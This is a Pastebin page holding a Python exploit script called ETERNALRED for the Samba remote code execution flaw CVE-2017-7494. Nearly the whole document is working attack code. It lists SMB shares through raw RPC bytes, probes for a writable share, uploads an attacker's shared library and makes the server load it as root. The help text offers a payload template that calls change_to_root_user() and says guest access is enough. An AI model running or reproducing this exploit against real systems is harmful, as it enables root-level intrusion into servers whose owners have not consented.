Guest User

Untitled

a guest
May 25th, 2017
36
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 21.61 KB | None | 0 0
  1. #! /usr/bin/env python
  2. # Title : ETERNALRED
  3. # Date: 05/24/2017
  4. # Exploit Author: steelo <knownsteelo@gmail.com>
  5. # Vendor Homepage: https://www.samba.org
  6. # Samba 3.5.0 - 4.5.4/4.5.10/4.4.14
  7. # CVE-2017-7494
  8.  
  9.  
  10. import argparse
  11. import os.path
  12. import sys
  13. import tempfile
  14. import time
  15. from smb.SMBConnection import SMBConnection
  16. from smb import smb_structs
  17. from smb.base import _PendingRequest
  18. from smb.smb2_structs import *
  19. from smb.base import *
  20.  
  21.  
  22. class SharedDevice2(SharedDevice):
  23.     def __init__(self, type, name, comments, path, password):
  24.         super().__init__(type, name, comments)
  25.         self.path = path
  26.         self.password = password
  27.  
  28. class SMBConnectionEx(SMBConnection):
  29.     def __init__(self, username, password, my_name, remote_name, domain="", use_ntlm_v2=True, sign_options=2, is_direct_tcp=False):
  30.         super().__init__(username, password, my_name, remote_name, domain, use_ntlm_v2, sign_options, is_direct_tcp)
  31.  
  32.  
  33.     def hook_listShares(self):
  34.         self._listShares = self.listSharesEx
  35.  
  36.     def hook_retrieveFile(self):
  37.         self._retrieveFileFromOffset = self._retrieveFileFromOffset_SMB1Unix
  38.  
  39.     # This is maily the original listShares but request a higher level of info
  40.     def listSharesEx(self, callback, errback, timeout = 30):
  41.         if not self.has_authenticated:
  42.             raise NotReadyError('SMB connection not authenticated')
  43.  
  44.         expiry_time = time.time() + timeout
  45.         path = 'IPC$'
  46.         messages_history = [ ]
  47.  
  48.         def connectSrvSvc(tid):
  49.             m = SMB2Message(SMB2CreateRequest('srvsvc',
  50.                                               file_attributes = 0,
  51.                                               access_mask = FILE_READ_DATA | FILE_WRITE_DATA | FILE_APPEND_DATA | FILE_READ_EA | FILE_WRITE_EA | READ_CONTROL | FILE_READ_ATTRIBUTES | FILE_WRITE_ATTRIBUTES | SYNCHRONIZE,
  52.                                               share_access = FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
  53.                                               oplock = SMB2_OPLOCK_LEVEL_NONE,
  54.                                               impersonation = SEC_IMPERSONATE,
  55.                                               create_options = FILE_NON_DIRECTORY_FILE | FILE_OPEN_NO_RECALL,
  56.                                               create_disp = FILE_OPEN))
  57.  
  58.             m.tid = tid
  59.             self._sendSMBMessage(m)
  60.             self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, connectSrvSvcCB, errback)
  61.             messages_history.append(m)
  62.  
  63.         def connectSrvSvcCB(create_message, **kwargs):
  64.             messages_history.append(create_message)
  65.             if create_message.status == 0:
  66.                 call_id = self._getNextRPCCallID()
  67.                 # The data_bytes are binding call to Server Service RPC using DCE v1.1 RPC over SMB. See [MS-SRVS] and [C706]
  68.                 # If you wish to understand the meanings of the byte stream, I would suggest you use a recent version of WireShark to packet capture the stream
  69.                 data_bytes = \
  70.                     binascii.unhexlify(b"""05 00 0b 03 10 00 00 00 74 00 00 00""".replace(b' ', b'')) + \
  71.                     struct.pack('<I', call_id) + \
  72.                     binascii.unhexlify(b"""
  73. b8 10 b8 10 00 00 00 00 02 00 00 00 00 00 01 00
  74. c8 4f 32 4b 70 16 d3 01 12 78 5a 47 bf 6e e1 88
  75. 03 00 00 00 04 5d 88 8a eb 1c c9 11 9f e8 08 00
  76. 2b 10 48 60 02 00 00 00 01 00 01 00 c8 4f 32 4b
  77. 70 16 d3 01 12 78 5a 47 bf 6e e1 88 03 00 00 00
  78. 2c 1c b7 6c 12 98 40 45 03 00 00 00 00 00 00 00
  79. 01 00 00 00
  80. """.replace(b' ', b'').replace(b'\n', b''))
  81.                 m = SMB2Message(SMB2WriteRequest(create_message.payload.fid, data_bytes, 0))
  82.                 m.tid = create_message.tid
  83.                 self._sendSMBMessage(m)
  84.                 self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, rpcBindCB, errback, fid = create_message.payload.fid)
  85.                 messages_history.append(m)
  86.             else:
  87.                 errback(OperationFailure('Failed to list shares: Unable to locate Server Service RPC endpoint', messages_history))
  88.  
  89.         def rpcBindCB(trans_message, **kwargs):
  90.             messages_history.append(trans_message)
  91.             if trans_message.status == 0:
  92.                 m = SMB2Message(SMB2ReadRequest(kwargs['fid'], read_len = 1024, read_offset = 0))
  93.                 m.tid = trans_message.tid
  94.                 self._sendSMBMessage(m)
  95.                 self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, rpcReadCB, errback, fid = kwargs['fid'])
  96.                 messages_history.append(m)
  97.             else:
  98.                 closeFid(trans_message.tid, kwargs['fid'], error = 'Failed to list shares: Unable to read from Server Service RPC endpoint')
  99.  
  100.         def rpcReadCB(read_message, **kwargs):
  101.             messages_history.append(read_message)
  102.             if read_message.status == 0:
  103.                 call_id = self._getNextRPCCallID()
  104.  
  105.                 padding = b''
  106.                 remote_name = '\\\\' + self.remote_name
  107.                 server_len = len(remote_name) + 1
  108.                 server_bytes_len = server_len * 2
  109.                 if server_len % 2 != 0:
  110.                     padding = b'\0\0'
  111.                     server_bytes_len += 2
  112.  
  113.                 # The data bytes are the RPC call to NetrShareEnum (Opnum 15) at Server Service RPC.
  114.                 # If you wish to understand the meanings of the byte stream, I would suggest you use a recent version of WireShark to packet capture the stream
  115.                 data_bytes = \
  116.                     binascii.unhexlify(b"""05 00 00 03 10 00 00 00""".replace(b' ', b'')) + \
  117.                     struct.pack('<HHI', 72+server_bytes_len, 0, call_id) + \
  118.                     binascii.unhexlify(b"""4c 00 00 00 00 00 0f 00 00 00 02 00""".replace(b' ', b'')) + \
  119.                     struct.pack('<III', server_len, 0, server_len) + \
  120.                     (remote_name + '\0').encode('UTF-16LE') + padding + \
  121.                     binascii.unhexlify(b"""
  122. 02 00 00 00 02 00 00 00 04 00 02 00 00 00 00 00
  123. 00 00 00 00 ff ff ff ff 00 00 00 00 00 00 00 00
  124. """.replace(b' ', b'').replace(b'\n', b''))
  125.                 m = SMB2Message(SMB2IoctlRequest(kwargs['fid'], 0x0011C017, flags = 0x01, max_out_size = 8196, in_data = data_bytes))
  126.                 m.tid = read_message.tid
  127.                 self._sendSMBMessage(m)
  128.                 self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, listShareResultsCB, errback, fid = kwargs['fid'])
  129.                 messages_history.append(m)
  130.             else:
  131.                 closeFid(read_message.tid, kwargs['fid'], error = 'Failed to list shares: Unable to bind to Server Service RPC endpoint')
  132.  
  133.         def listShareResultsCB(result_message, **kwargs):
  134.             messages_history.append(result_message)
  135.             if result_message.status == 0:
  136.                 # The payload.data_bytes will contain the results of the RPC call to NetrShareEnum (Opnum 15) at Server Service RPC.
  137.                 data_bytes = result_message.payload.out_data
  138.  
  139.                 if data_bytes[3] & 0x02 == 0:
  140.                     sendReadRequest(result_message.tid, kwargs['fid'], data_bytes)
  141.                 else:
  142.                     decodeResults(result_message.tid, kwargs['fid'], data_bytes)
  143.             elif result_message.status == 0x0103:   # STATUS_PENDING
  144.                 self.pending_requests[result_message.mid] = _PendingRequest(result_message.mid, expiry_time, listShareResultsCB, errback, fid = kwargs['fid'])
  145.             else:
  146.                 closeFid(result_message.tid, kwargs['fid'])
  147.                 errback(OperationFailure('Failed to list shares: Unable to retrieve shared device list', messages_history))
  148.  
  149.         def decodeResults(tid, fid, data_bytes):
  150.             shares_count = struct.unpack('<I', data_bytes[36:40])[0]
  151.             results = [ ]     # A list of SharedDevice2 instances
  152.             offset = 36 + 52  # You need to study the byte stream to understand the meaning of these constants
  153.             for i in range(0, shares_count):
  154.                 results.append(SharedDevice(struct.unpack('<I', data_bytes[offset+4:offset+8])[0], None, None))
  155.                 offset += 12
  156.  
  157.             for i in range(0, shares_count):
  158.                 max_length, _, length = struct.unpack('<III', data_bytes[offset:offset+12])
  159.                 offset += 12
  160.                 results[i].name = data_bytes[offset:offset+length*2-2].decode('UTF-16LE')
  161.  
  162.                 if length % 2 != 0:
  163.                     offset += (length * 2 + 2)
  164.                 else:
  165.                     offset += (length * 2)
  166.  
  167.                 max_length, _, length = struct.unpack('<III', data_bytes[offset:offset+12])
  168.                 offset += 12
  169.                 results[i].comments = data_bytes[offset:offset+length*2-2].decode('UTF-16LE')
  170.  
  171.                 if length % 2 != 0:
  172.                     offset += (length * 2 + 2)
  173.                 else:
  174.                     offset += (length * 2)
  175.  
  176.                 max_length, _, length = struct.unpack('<III', data_bytes[offset:offset+12])
  177.                 offset += 12
  178.                 results[i].path = data_bytes[offset:offset+length*2-2].decode('UTF-16LE')
  179.  
  180.                 if length % 2 != 0:
  181.                     offset += (length * 2 + 2)
  182.                 else:
  183.                     offset += (length * 2)
  184.  
  185.                 max_length, _, length = struct.unpack('<III', data_bytes[offset:offset+12])
  186.                 offset += 12
  187.                 results[i].password = data_bytes[offset:offset+length*2-2].decode('UTF-16LE')
  188.  
  189.                 if length % 2 != 0:
  190.                     offset += (length * 2 + 2)
  191.                 else:
  192.                     offset += (length * 2)
  193.  
  194.  
  195.             closeFid(tid, fid)
  196.             callback(results)
  197.  
  198.         def sendReadRequest(tid, fid, data_bytes):
  199.             read_count = min(4280, self.max_read_size)
  200.             m = SMB2Message(SMB2ReadRequest(fid, 0, read_count))
  201.             m.tid = tid
  202.             self._sendSMBMessage(m)
  203.             self.pending_requests[m.mid] = _PendingRequest(m.mid, int(time.time()) + timeout, readCB, errback,
  204.                                                            fid = fid, data_bytes = data_bytes)
  205.  
  206.         def readCB(read_message, **kwargs):
  207.             messages_history.append(read_message)
  208.             if read_message.status == 0:
  209.                 data_len = read_message.payload.data_length
  210.                 data_bytes = read_message.payload.data
  211.  
  212.                 if data_bytes[3] & 0x02 == 0:
  213.                     sendReadRequest(read_message.tid, kwargs['fid'], kwargs['data_bytes'] + data_bytes[24:data_len-24])
  214.                 else:
  215.                     decodeResults(read_message.tid, kwargs['fid'], kwargs['data_bytes'] + data_bytes[24:data_len-24])
  216.             else:
  217.                 closeFid(read_message.tid, kwargs['fid'])
  218.                 errback(OperationFailure('Failed to list shares: Unable to retrieve shared device list', messages_history))
  219.  
  220.         def closeFid(tid, fid, results = None, error = None):
  221.             m = SMB2Message(SMB2CloseRequest(fid))
  222.             m.tid = tid
  223.             self._sendSMBMessage(m)
  224.             self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, closeCB, errback, results = results, error = error)
  225.             messages_history.append(m)
  226.  
  227.         def closeCB(close_message, **kwargs):
  228.             if kwargs['results'] is not None:
  229.                 callback(kwargs['results'])
  230.             elif kwargs['error'] is not None:
  231.                 errback(OperationFailure(kwargs['error'], messages_history))
  232.  
  233.         if path not in self.connected_trees:
  234.             def connectCB(connect_message, **kwargs):
  235.                 messages_history.append(connect_message)
  236.                 if connect_message.status == 0:
  237.                     self.connected_trees[path] = connect_message.tid
  238.                     connectSrvSvc(connect_message.tid)
  239.                 else:
  240.                     errback(OperationFailure('Failed to list shares: Unable to connect to IPC$', messages_history))
  241.  
  242.             m = SMB2Message(SMB2TreeConnectRequest(r'\\%s\%s' % ( self.remote_name.upper(), path )))
  243.             self._sendSMBMessage(m)
  244.             self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, connectCB, errback, path = path)
  245.             messages_history.append(m)
  246.         else:
  247.             connectSrvSvc(self.connected_trees[path])
  248.  
  249.  
  250.     # Don't convert to Window style path
  251.     def _retrieveFileFromOffset_SMB1Unix(self, service_name, path, file_obj, callback, errback, starting_offset, max_length, timeout = 30):
  252.         if not self.has_authenticated:
  253.             raise NotReadyError('SMB connection not authenticated')
  254.  
  255.         messages_history = [ ]
  256.  
  257.  
  258.         def sendOpen(tid):
  259.             m = SMBMessage(ComOpenAndxRequest(filename = path,
  260.                                               access_mode = 0x0040,  # Sharing mode: Deny nothing to others
  261.                                               open_mode = 0x0001,    # Failed if file does not exist
  262.                                               search_attributes = SMB_FILE_ATTRIBUTE_HIDDEN | SMB_FILE_ATTRIBUTE_SYSTEM,
  263.                                               timeout = timeout * 1000))
  264.             m.tid = tid
  265.             self._sendSMBMessage(m)
  266.             self.pending_requests[m.mid] = _PendingRequest(m.mid, int(time.time()) + timeout, openCB, errback)
  267.             messages_history.append(m)
  268.  
  269.         def openCB(open_message, **kwargs):
  270.             messages_history.append(open_message)
  271.             if not open_message.status.hasError:
  272.                 if max_length == 0:
  273.                     closeFid(open_message.tid, open_message.payload.fid)
  274.                     callback(( file_obj, open_message.payload.file_attributes, 0 ))
  275.                 else:
  276.                     sendRead(open_message.tid, open_message.payload.fid, starting_offset, open_message.payload.file_attributes, 0, max_length)
  277.             else:
  278.                 errback(OperationFailure('Failed to retrieve %s on %s: Unable to open file' % ( path, service_name ), messages_history))
  279.  
  280.         def sendRead(tid, fid, offset, file_attributes, read_len, remaining_len):
  281.             read_count = self.max_raw_size - 2
  282.             m = SMBMessage(ComReadAndxRequest(fid = fid,
  283.                                               offset = offset,
  284.                                               max_return_bytes_count = read_count,
  285.                                               min_return_bytes_count = min(0xFFFF, read_count)))
  286.             m.tid = tid
  287.             self._sendSMBMessage(m)
  288.             self.pending_requests[m.mid] = _PendingRequest(m.mid, int(time.time()) + timeout, readCB, errback, fid = fid, offset = offset, file_attributes = file_attributes,
  289.                                                            read_len = read_len, remaining_len = remaining_len)
  290.  
  291.         def readCB(read_message, **kwargs):
  292.             # To avoid crazy memory usage when retrieving large files, we do not save every read_message in messages_history.
  293.             if not read_message.status.hasError:
  294.                 read_len = kwargs['read_len']
  295.                 remaining_len = kwargs['remaining_len']
  296.                 data_len = read_message.payload.data_length
  297.                 if max_length > 0:
  298.                     if data_len > remaining_len:
  299.                         file_obj.write(read_message.payload.data[:remaining_len])
  300.                         read_len += remaining_len
  301.                         remaining_len = 0
  302.                     else:
  303.                         file_obj.write(read_message.payload.data)
  304.                         remaining_len -= data_len
  305.                         read_len += data_len
  306.                 else:
  307.                     file_obj.write(read_message.payload.data)
  308.                     read_len += data_len
  309.  
  310.                 if (max_length > 0 and remaining_len <= 0) or data_len < (self.max_raw_size - 2):
  311.                     closeFid(read_message.tid, kwargs['fid'])
  312.                     callback(( file_obj, kwargs['file_attributes'], read_len ))  # Note that this is a tuple of 3-elements
  313.                 else:
  314.                     sendRead(read_message.tid, kwargs['fid'], kwargs['offset']+data_len, kwargs['file_attributes'], read_len, remaining_len)
  315.             else:
  316.                 messages_history.append(read_message)
  317.                 closeFid(read_message.tid, kwargs['fid'])
  318.                 errback(OperationFailure('Failed to retrieve %s on %s: Read failed' % ( path, service_name ), messages_history))
  319.  
  320.         def closeFid(tid, fid):
  321.             m = SMBMessage(ComCloseRequest(fid))
  322.             m.tid = tid
  323.             self._sendSMBMessage(m)
  324.             messages_history.append(m)
  325.  
  326.         if service_name not in self.connected_trees:
  327.             def connectCB(connect_message, **kwargs):
  328.                 messages_history.append(connect_message)
  329.                 if not connect_message.status.hasError:
  330.                     self.connected_trees[service_name] = connect_message.tid
  331.                     sendOpen(connect_message.tid)
  332.                 else:
  333.                     errback(OperationFailure('Failed to retrieve %s on %s: Unable to connect to shared device' % ( path, service_name ), messages_history))
  334.  
  335.             m = SMBMessage(ComTreeConnectAndxRequest(r'\\%s\%s' % ( self.remote_name.upper(), service_name ), SERVICE_ANY, ''))
  336.             self._sendSMBMessage(m)
  337.             self.pending_requests[m.mid] = _PendingRequest(m.mid, int(time.time()) + timeout, connectCB, errback, path = service_name)
  338.             messages_history.append(m)
  339.         else:
  340.             sendOpen(self.connected_trees[service_name])
  341.  
  342. def get_connection(user, password, server, port, force_smb1=False):
  343.     if force_smb1:
  344.         smb_structs.SUPPORT_SMB2 = False
  345.  
  346.     conn = SMBConnectionEx(user, password, "", "server")
  347.     assert conn.connect(server, port)
  348.     return conn
  349.  
  350. def get_share_info(conn):
  351.     conn.hook_listShares()
  352.     return conn.listShares()
  353.  
  354. def find_writeable_share(conn, shares):
  355.     print("[+] Searching for writable share")
  356.     filename = "red"
  357.     test_file = tempfile.TemporaryFile()
  358.     for share in shares:
  359.         try:
  360.             # If it's not writeable this will throw
  361.             conn.storeFile(share.name, filename, test_file)
  362.             conn.deleteFiles(share.name, filename)
  363.             print("[+] Found writeable share: " + share.name)
  364.             return share
  365.         except:
  366.             pass
  367.  
  368.     return None
  369.  
  370. def write_payload(conn, share, payload, payload_name):
  371.     with open(payload, "rb") as fin:
  372.         conn.storeFile(share.name, payload_name, fin)
  373.  
  374.     return True
  375.  
  376. def convert_share_path(share):
  377.     path = share.path[2:]
  378.     path = path.replace("\\", "/")
  379.     return path
  380.  
  381. def load_payload(user, password, server, port, fullpath):
  382.     conn = get_connection(user, password, server, port, force_smb1 = True)
  383.     conn.hook_retrieveFile()
  384.  
  385.     print("[+] Attempting to load payload")
  386.     temp_file = tempfile.TemporaryFile()
  387.  
  388.     try:
  389.         conn.retrieveFile("IPC$", "\\\\PIPE\\" + fullpath, temp_file)
  390.     except:
  391.         pass
  392.  
  393.     return
  394.  
  395. def drop_payload(user, password, server, port, payload):
  396.     payload_name = "charizard"
  397.  
  398.     conn = get_connection(user, password, server, port)
  399.     shares = get_share_info(conn)
  400.     share = find_writeable_share(conn, shares)
  401.  
  402.     if share is None:
  403.         print("[!] No writeable shares on " + server + " for user: " + user)
  404.         sys.exit(-1)
  405.  
  406.     if not write_payload(conn, share, payload, payload_name):
  407.         print("[!] Failed to write payload: " + str(payload) + " to server")
  408.         sys.exit(-1)
  409.  
  410.     conn.close()
  411.  
  412.     fullpath = convert_share_path(share)
  413.     return os.path.join(fullpath, payload_name)
  414.  
  415.  
  416. def main():
  417.     parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter,
  418.     description= """Eternal Red Samba Exploit -- CVE-2017-7494
  419.        Causes vulnerable Samba server to load a shared library in root context
  420.        Credentials are not required if the server has a guest account
  421.        For remote exploit you must have write permissions to at least one share
  422.        Eternal Red will scan the Samba server for shares it can write to
  423.        It will also determine the fullpath of the remote share
  424.  
  425.        For local exploit provide the full path to your shared library to load
  426.  
  427.        Your shared library should look something like this
  428.  
  429.        extern bool change_to_root_user(void);
  430.        int samba_init_module(void)
  431.        {
  432.            change_to_root_user();
  433.            /* Do what thou wilt */
  434.        }
  435.    """)
  436.     parser.add_argument("payload", help="path to shared library to load", type=str)
  437.     parser.add_argument("server", help="Server to target", type=str)
  438.     parser.add_argument("-p", "--port", help="Port to use defaults to 445", type=int)
  439.     parser.add_argument("-u", "--username", help="Username to connect as defaults to nobody", type=str)
  440.     parser.add_argument("--password", help="Password for user default is empty", type=str)
  441.     parser.add_argument("--local", help="Perform local attack. Payload should be fullpath!", type=bool)
  442.     args = parser.parse_args()
  443.  
  444.     if not os.path.isfile(args.payload):
  445.         print("[!] Unable to open: " + args.payload)
  446.         sys.exit(-1)
  447.  
  448.     port = 445
  449.     user = "nobody"
  450.     password = ""
  451.     fullpath = ""
  452.  
  453.     if args.port:
  454.         port = args.port
  455.     if args.username:
  456.         user = args.username
  457.     if args.password:
  458.         password = args.password
  459.  
  460.     if args.local:
  461.         fullpath = args.payload
  462.     else:
  463.         fullpath = drop_payload(user, password, args.server, port, args.payload)
  464.  
  465.     load_payload(user, password, args.server, port, fullpath)
  466.  
  467. if __name__ == "__main__":
  468.     main()
Add Comment
Please, Sign In to add comment